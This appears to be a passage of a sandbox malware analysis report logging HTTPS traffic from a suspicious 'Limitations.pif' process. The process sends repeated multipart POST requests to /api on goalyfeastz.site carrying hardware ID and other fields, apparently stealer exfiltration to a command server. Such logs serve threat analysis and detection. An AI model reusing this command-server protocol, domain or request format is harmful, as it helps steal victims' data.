XDEQ2hAS6S+PHX942R/qHPaq84BhypSsojH5dThoY5yeN0KPA14qqstcLvYeHy4ftaihB3IORuyjIC+hqfgx3ZvnFtwKXqxoDw2oJxrPLl0l//OGsM8FrKIgbiS6q+IcHfTBzsJe6KjKXu7wHh3sXTeq4Neh3MVrcTf/aXqoIl2YZwcfhk9pKJsLv/TfnO9d9SkjxTbIR68jIKxn+molXd41QAzCXqroiZ1uJI8PLlgl//OPd4jH/WbyaTU4KLH
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 63 30 42 33 69 67 6f 69 64 78 76 4e 31 32 64 62 42 78 32 4f 66 41 58 73 34 72 55 75 33 45 70 71 61 58 36 36 50 48 62 6a 6e 46 51 7a 63 4d 50 66 76 75 49 48 69 36 30 6e 68 36 75 6e 33 52 72 59 73 65 77 6a 41 64 73 59 4b 44 73 70 54 73 70 34 5a 33 63 74 59 49 4e 67 31 2b 70 61 68 73 4f 50 2f 56 61 6a 7a 6d 4f 50 65 38 67 78 4c 4f 63 77 33 37 6e 63 65 36 6d 4b 66 32 78 33 70 37 32 41 51 77 44 58 36 72 71 79 68 38 75 74 4a 36 62 72 5a 34 30 4c 57 63 48 73 41 32 48 72 61 45 67 37 75 64 34 61 32 44 4d 54 6d 63 42 43 68 41 4a 65 4f 44 49 48 47 57 31 57 6b 38 6f 54 62 4f 35 34 6b 53 69 57 74 53 74 49 2b 4e 73 70 6e 6b 71 49 52 36 63 74 59 43 4e 77 68 77 73 61 30 6a 65 62 76 53 66 58 71 34 65 64 69 68 69 52 66 49 4f 78 58 31 79 73 65 36 6a 4b 66 32 78 31 39 77 33 Data Ascii: c0B3igoidxvN12dbBx2OfAXs4rUu3EpqaX66PHbjnFQzcMPfvuIHi60nh6un3RrYsewjAdsYKDspTsp4Z3ctYINg1+pahsOP/VajzmOPe8gxLOcw37nce6mKf2x3p72AQwDX6rqyh8utJ6brZ40LWcHsA2HraEg7ud4a2DMTmcBChAJeODIHGW1Wk8oTbO54kSiWtStI+NspnkqIR6ctYCNwhwsa0jebvSfXq4edihiRfIOxX1yse6jKf2x19w3
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 39 6c 71 30 69 65 4c 6a 45 59 7a 47 5a 59 74 71 68 6d 51 2b 4a 66 56 4b 7a 78 4e 2f 74 32 71 65 71 6c 6a 45 76 6a 46 46 72 56 53 37 30 2f 6e 35 70 38 63 73 79 61 76 34 67 68 65 6e 4f 44 49 6c 72 55 76 4b 48 6c 61 2b 53 35 4c 69 45 4e 6b 6e 69 4c 54 63 47 65 4b 53 2b 62 6c 69 30 78 6e 55 38 38 44 6a 59 35 39 59 6e 69 58 74 53 69 73 72 48 70 64 53 2f 37 72 4a 79 65 64 49 45 4a 68 45 77 6a 61 6b 71 63 37 6a 43 4d 46 4b 31 62 4e 44 6e 77 46 37 50 63 30 72 6c 79 73 65 35 68 61 66 32 31 79 4d 73 69 56 42 6e 55 43 2b 38 34 44 55 32 71 5a 49 71 4c 76 41 34 78 65 66 57 58 6f 34 77 41 4b 65 43 68 4b 75 58 6f 4a 43 35 63 6d 48 52 44 44 73 42 51 35 32 41 49 58 65 38 33 44 42 4e 71 48 58 48 70 49 73 5a 39 77 30 63 73 70 43 41 73 35 4c 6e 37 73 6b 78 65 4a 78 62 43 55 Data Ascii: 9lq0ieLjEYzGZYtqhmQ+JfVKzxN/t2qeqljEvjFFrVS70/n5p8csyav4ghenODIlrUvKHla+S5LiENkniLTcGeKS+bli0xnU88DjY59YniXtSisrHpdS/7rJyedIEJhEwjakqc7jCMFK1bNDnwF7Pc0rlyse5haf21yMsiVBnUC+84DU2qZIqLvA4xefWXo4wAKeChKuXoJC5cmHRDDsBQ52AIXe83DBNqHXHpIsZ9w0cspCAs5Ln7skxeJxbCU
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 62 43 37 76 67 43 6b 70 37 53 2b 48 39 5a 46 51 30 48 4d 45 39 64 7a 56 38 39 54 31 37 74 38 78 4d 4e 38 52 49 67 5a 2b 74 61 31 72 53 49 48 31 66 48 75 2f 62 73 65 71 67 6a 2f 4b 49 68 69 4c 75 70 4b 2b 6d 75 6d 70 6b 57 41 33 6b 6b 4d 2f 51 43 57 61 37 6d 51 32 67 4a 77 79 5a 50 34 67 6c 35 4b 4e 45 4d 63 30 42 4b 54 4a 6f 4c 4f 54 35 72 69 58 66 48 76 39 41 43 45 4b 50 65 33 75 4b 6a 62 6e 67 44 77 38 75 6d 6d 58 2f 39 35 4d 6b 6d 5a 42 34 74 54 56 6f 74 72 2b 37 70 45 78 4c 34 35 4e 63 42 49 39 2b 2b 35 72 64 61 33 41 64 48 2b 6f 65 35 43 5a 73 44 76 65 4d 41 4b 7a 68 37 6d 44 76 2b 75 6f 67 47 74 77 32 69 55 51 51 44 50 6a 6f 57 77 75 68 70 49 36 50 49 45 32 6c 37 2f 4f 52 6f 6b 47 45 62 75 4b 67 4b 75 46 71 6f 75 51 63 6d 66 61 41 48 42 4f 50 61 58 Data Ascii: bC7vgCkp7S+H9ZFQ0HME9dzV89T17t8xMN8RIgZ+ta1rSIH1fHu/bseqgj/KIhiLupK+mumpkWA3kkM/QCWa7mQ2gJwyZP4gl5KNEMc0BKTJoLOT5riXfHv9ACEKPe3uKjbngDw8ummX/95MkmZB4tTVotr+7pExL45NcBI9++5rda3AdH+oe5CZsDveMAKzh7mDv+uogGtw2iUQQDPjoWwuhpI6PIE2l7/ORokGEbuKgKuFqouQcmfaAHBOPaX
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 34 45 38 50 4b 77 34 6a 2b 66 4a 45 4d 51 79 45 62 75 48 6c 61 2b 53 35 4c 69 45 4e 6b 6e 69 4c 44 73 42 62 61 36 2f 49 58 4b 70 37 45 78 62 75 48 33 51 6d 62 41 70 32 44 51 43 39 36 4b 45 71 35 65 6e 34 4d 64 70 4e 34 52 44 46 77 5a 34 70 4f 35 69 4e 72 75 53 4b 6a 79 52 63 39 61 33 67 77 2f 45 4e 77 54 33 6f 34 47 34 6b 36 66 67 78 33 30 33 68 45 4d 2f 45 58 71 6c 71 79 73 36 75 4d 68 31 50 50 41 34 32 65 66 57 58 73 59 69 46 62 4f 42 67 50 47 53 36 61 44 48 62 6a 6e 46 51 79 5a 41 4a 66 44 67 62 47 54 2f 69 6a 49 37 73 48 58 57 70 49 41 64 32 79 45 55 74 70 4b 45 2b 71 72 5a 6a 70 64 79 59 39 73 79 50 51 52 72 74 71 30 38 63 59 48 73 55 6d 79 39 62 4e 44 6f 72 67 37 45 4a 67 4f 79 6c 4c 6d 44 6f 2f 61 70 6c 7a 4e 52 33 78 55 7a 51 44 50 6a 74 6d 77 75 Data Ascii: 4E8PKw4j+fJEMQyEbuHla+S5LiENkniLDsBba6/IXKp7ExbuH3QmbAp2DQC96KEq5en4MdpN4RDFwZ4pO5iNruSKjyRc9a3gw/ENwT3o4G4k6fgx303hEM/EXqlqys6uMh1PPA42efWXsYiFbOBgPGS6aDHbjnFQyZAJfDgbGT/ijI7sHXWpIAd2yEUtpKE+qrZjpdyY9syPQRrtq08cYHsUmy9bNDorg7EJgOylLmDo/aplzNR3xUzQDPjtmwu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49987	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:34 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12865 Host: goalyfeastz.site
2024-10-30 14:44:34 UTC	12865	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB995E4D9F52D541FF1A5C98253DBF0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"BVnUqo--@Mone
2024-10-30 14:44:35 UTC	1010	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ndain36r24c8ehp0ql9f0iqchk; expires=Sun, 23 Feb 2025 08:31:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WblAjPtS6%2FGSnH%2BwMdCtAwtpnPp0ILGAQctHlqkOhPU3iXfvYAiu0sE1v%2FAcXiPzTCF7ycW9QWCQLfEnnNzxqpjfeDAmBRafvDdZ45Z3Y4AjjcMgmsaKgnL924fpbUyD05um"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f245feceb33-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1101&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13805&delivery_rate=2567375&cwnd=244&unsent_bytes=0&cid=67c0c66916e53479&ts=666&x=0"
2024-10-30 14:44:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 14:44:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49988	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:35 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15111 Host: goalyfeastz.site
2024-10-30 14:44:35 UTC	15111	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB995E4D9F52D541FF1A5C98253DBF0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"BVnUqo--@Mone
2024-10-30 14:44:36 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ad64flaf9o92bve4c6qf7c8mfk; expires=Sun, 23 Feb 2025 08:31:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1zX9XQDUtdwkG%2FR7rDNPrrRIVfgArFz2azmGrC2TJNQUPu3ls4Ig1Ac7DbjlJ44G1OHWVy%2Fx%2BRFygtUr1bLwoB9cJWGz0y4XFKZ7iwj8%2BkLIc35W0U88maCgYWbe3qMXeYH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f2b9d971449-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1311&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16051&delivery_rate=2540350&cwnd=249&unsent_bytes=0&cid=4c32ca7a8712fa1e&ts=756&x=0"
2024-10-30 14:44:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 14:44:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49989	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19969 Host: goalyfeastz.site
2024-10-30 14:44:37 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB995E4D9F52D541FF1A5C98253DBF0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"BVnUqo--@Mone
2024-10-30 14:44:37 UTC	4638	OUT	Data Raw: 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f Data Ascii: 2+?2+?2+?o?Mp5
2024-10-30 14:44:38 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4kcv73t02nl6m9k64r7j8s4dct; expires=Sun, 23 Feb 2025 08:31:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a0e6%2BExIWJ3vnAgM8lROsPGh7%2BxLSoGTZtfAtUdR2Uzan%2FBfkGOc%2B7Ju5hwzxwX%2B3%2BNosxUCuxNTRQ88UkjO3dHP6y6izXrOXT82NpQnKzab1UPBVUhMn99eg%2F3LIyipX9Nk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f3678d10c17-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1547&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2841&recv_bytes=20931&delivery_rate=1846938&cwnd=251&unsent_bytes=0&cid=18fedaea860a72eb&ts=954&x=0"
2024-10-30 14:44:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 14:44:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49990	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:38 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7140 Host: goalyfeastz.site
2024-10-30 14:44:38 UTC	7140	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB995E4D9F52D541FF1A5C98253DBF0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"BVnUqo--@Mone
2024-10-30 14:44:39 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u4d2292n07dcaksen07ms2e2km; expires=Sun, 23 Feb 2025 08:31:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YI18ZgY8yPGbuUGvE8joCa9CtfB04IcM6Qc9mMXnq8%2FdXBCYz4c%2B5DhBul1RuGHLOvV2wztfdBEuWUEucBdLrV8Gn%2BK7BedcxLOoEzIZJmCCGimhRDkZSUonhMOUIdlNNeJI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f3eff014624-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1238&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2841&recv_bytes=8057&delivery_rate=2407315&cwnd=251&unsent_bytes=0&cid=77ce6f1772e0d840&ts=470&x=0"
2024-10-30 14:44:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 14:44:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49991	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:39 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7108 Host: goalyfeastz.site
2024-10-30 14:44:39 UTC	7108	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB995E4D9F52D541FF1A5C98253DBF0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"BVnUqo--@Mone
2024-10-30 14:44:40 UTC	1007	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j9nsmd02sierk6tbvrr21t1ta1; expires=Sun, 23 Feb 2025 08:31:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rSnoP31Rc45TdzcnlU8MeQpb5ndQJyU8hAeDYA4tNKKanJeNuj6e01bviakmgBWO0uS0za3TbBIH7lRcSeKUCTiL8%2FlWeNiOe50ytXVDiuaxkKjaqUczeiyHtqe1i00X%2F9Z2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f45be4f3474-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1229&sent=6&recv=12&lost=0&retrans=0&sent_bytes=2839&recv_bytes=8025&delivery_rate=2113868&cwnd=251&unsent_bytes=0&cid=b952c9553440fd37&ts=498&x=0"
2024-10-30 14:44:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 14:44:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49992	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:41 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1225 Host: goalyfeastz.site
2024-10-30 14:44:41 UTC	1225	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB995E4D9F52D541FF1A5C98253DBF0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"BVnUqo--@Mone
